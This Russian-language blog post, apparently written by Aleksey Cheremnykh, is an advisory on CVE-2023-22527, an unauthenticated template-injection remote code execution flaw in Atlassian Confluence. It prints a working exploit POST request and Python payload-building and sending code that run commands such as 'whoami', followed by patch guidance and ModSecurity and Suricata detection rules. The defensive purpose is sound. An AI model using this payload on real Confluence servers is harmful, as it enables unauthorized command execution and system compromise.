Уязвимость веб-сервера Atlassian Confluence Server и дата центра Confluence Data Center
Уязвимость веб-сервера Atlassian Confluence Server и дата центра Confluence Data Center
Категория: Программы Теги: Уязвимости Опубликовано: 23 сентября 2025

Уязвимость BDU:2024-00325 (CVE-2023-22527) Atlassian Confluence

Уязвимость BDU:2024-00325 (CVE-2023-22527) удаленного выполнения кода (RCE) в Atlassian Confluence Data Center и Server, связанная с инъекцией шаблонов. Она позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на уязвимом сервере.

Анализ уязвимости

Уровень опасности: 10.0 (критический).
Вектор атаки: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

  • AV:N (Attack Vector: Network) - Атака через сеть: уязвимость эксплуатируется удаленно через сеть.

  • AC:L (Attack Complexity: Low) - Низкая сложность атаки: для эксплуатации не требуются специальные условия.

  • PR:N (Privileges Required: None) - Не требуются привилегии: атака возможна без аутентификации.

  • UI:N (User Interaction: None) - Не требуется взаимодействие пользователя.

  • S:C (Scope: Changed) - Оказывает влияние на другие компоненты, выходящие за рамки уязвимого приложения.

  • C:H (Confidentiality: High) - Полное нарушение конфиденциальности: несанкционированное раскрытие практически всей информации.

  • I:H (Integrity: High) - Полное нарушение целостности: возможность модифицировать любые файлы или данные.

  • A:H (Availability: High) - Полное нарушение доступности: возможность полностью заблокировать работу сервиса.

Условия эксплуатации

Для успешной атаки необходимо, чтобы злоумышленник имел сетевой доступ к уязвимой версии Confluence. Наличие аутентификации или анонимного доступа не является обязательным условием, так как уязвимость не требует аутентификации.

Затронуты версии Confluence Data Center и Server:

  • 8.0.x

  • 8.1.x

  • 8.2.x

  • 8.3.x

  • 8.4.x

  • 8.5.0 - 8.5.3

Незатронуты: облачные экземпляры Confluence (доступные через atlassian.net), а также версия 7.19.x LTS.

Основная причина уязвимости — небезопасная обработка пользовательского ввода в механизме шаблонов Velocity. Уязвимость возникает в файле шаблона text-inline.vm, который неправильно санирует данные, передаваемые в параметре label, перед их обработкой движком OGNL (Object-Graph Navigation Language).

Анализ вектора атаки

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Основная цель атаки — endpoint /template/aui/text-inline.vm.

Пример вредоносного HTTP-POST запроса:

POST /template/aui/text-inline.vm HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 243

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({%22whoami%22}):cite[5]

Ключевые элементы атаки:

  • Параметр label: Содержит инъекцию OGNL-выражения, которое извлекает контекст Struts2 (KEY_velocity.struts2.context).

  • Параметр x: Содержит команду, которая будет выполнена на сервере. В данном примере — whoami.

Разбор ключевых компонентов эксплоита на Python:
Рассмотрим критически важные части кода для понимания механики эксплуатации.

  1. Формирование полезной нагрузки (Payload):

payload = ('label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027'
          '&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"' + command + '"}))\r\n')
  • Назначение: Создание строки с эксплойтом для уязвимого эндпоинта.

  • Ключевой методfindValue(#parameters.x,{}) — функция OGNL, которая вычисляет переданное выражение.

  • Класс freemarker.template.utility.Execute — позволяет выполнять системные команды.

  1. Отправка запроса и получение результата:

full_url = f"{url}/template/aui/text-inline.vm"
response = requests.post(full_url, verify=False, headers=headers, data=payload, timeout=10, allow_redirects=False)
return response.text.split('<!DOCTYPE html>')[0].strip()
  • Назначение: Отправка сформированного вредоносного запроса на целевой сервер и извлечение результата выполнения команды из ответа.

Способы защиты

1. Патчинг (наиболее эффективная мера)
Немедленно обновите Confluence до одной из исправленных версий:

  • Confluence Data Center и Server: 8.5.4 (LTS) или 8.5.5 (LTS).

  • Confluence Data Center: 8.6.0, 8.7.1 или 8.7.2.

2. Ограничение сетевого доступа

  • Используйте брандмауэры для запрета прямого доступа к портам Confluence (по умолчанию 8090, 8095) из интернета.

3. Настройка WAF/IPS
WAF должен располагаться перед сервером Confluence для фильтрации входящего трафика.

Пример правил для ModSecurity:

SecRule REQUEST_URI "@contains /template/aui/text-inline.vm" \
    "id:1001,\
    phase:2,\
    block,\
    msg:'Potential CVE-2023-22527 Exploit Attempt',\
    logdata:'Matched %{MATCHED_VAR}',\
    tag:'attack-injection'"

SecRule ARGS:label "@contains .KEY_velocity.struts2.context" \
    "id:1002,\
    phase:2,\
    block,\
    msg:'OGNL Injection in label parameter',\
    tag:'attack-injection'"

SecRule ARGS "@contains freemarker.template.utility.Execute" \
    "id:1003,\
    phase:2,\
    block,\
    msg:'Detected Execute class usage',\
    tag:'attack-injection'"

Пример правил для Suricata:

alert http any any -> $HOME_NET any (msg:"CVE-2023-22527 Exploit Attempt - OGNL Injection"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/template/aui/text-inline.vm"; http.request_body; content:".KEY_velocity.struts2.context"; classtype:web-application-attack; sid:2024003251; rev:1;)

alert http any any -> $HOME_NET any (msg:"CVE-2023-22527 Exploit Attempt - Execute Class"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/template/aui/text-inline.vm"; http.request_body; content:"freemarker.template.utility.Execute"; classtype:web-application-attack; sid:2024003252; rev:1;)

Данные правила можно найти в моём наборе правил https://alekseycheremnykh.ru/post/besplatnye-pravila-dlya-ids-suricata/

Алексей Черемных Алексей Черемных
354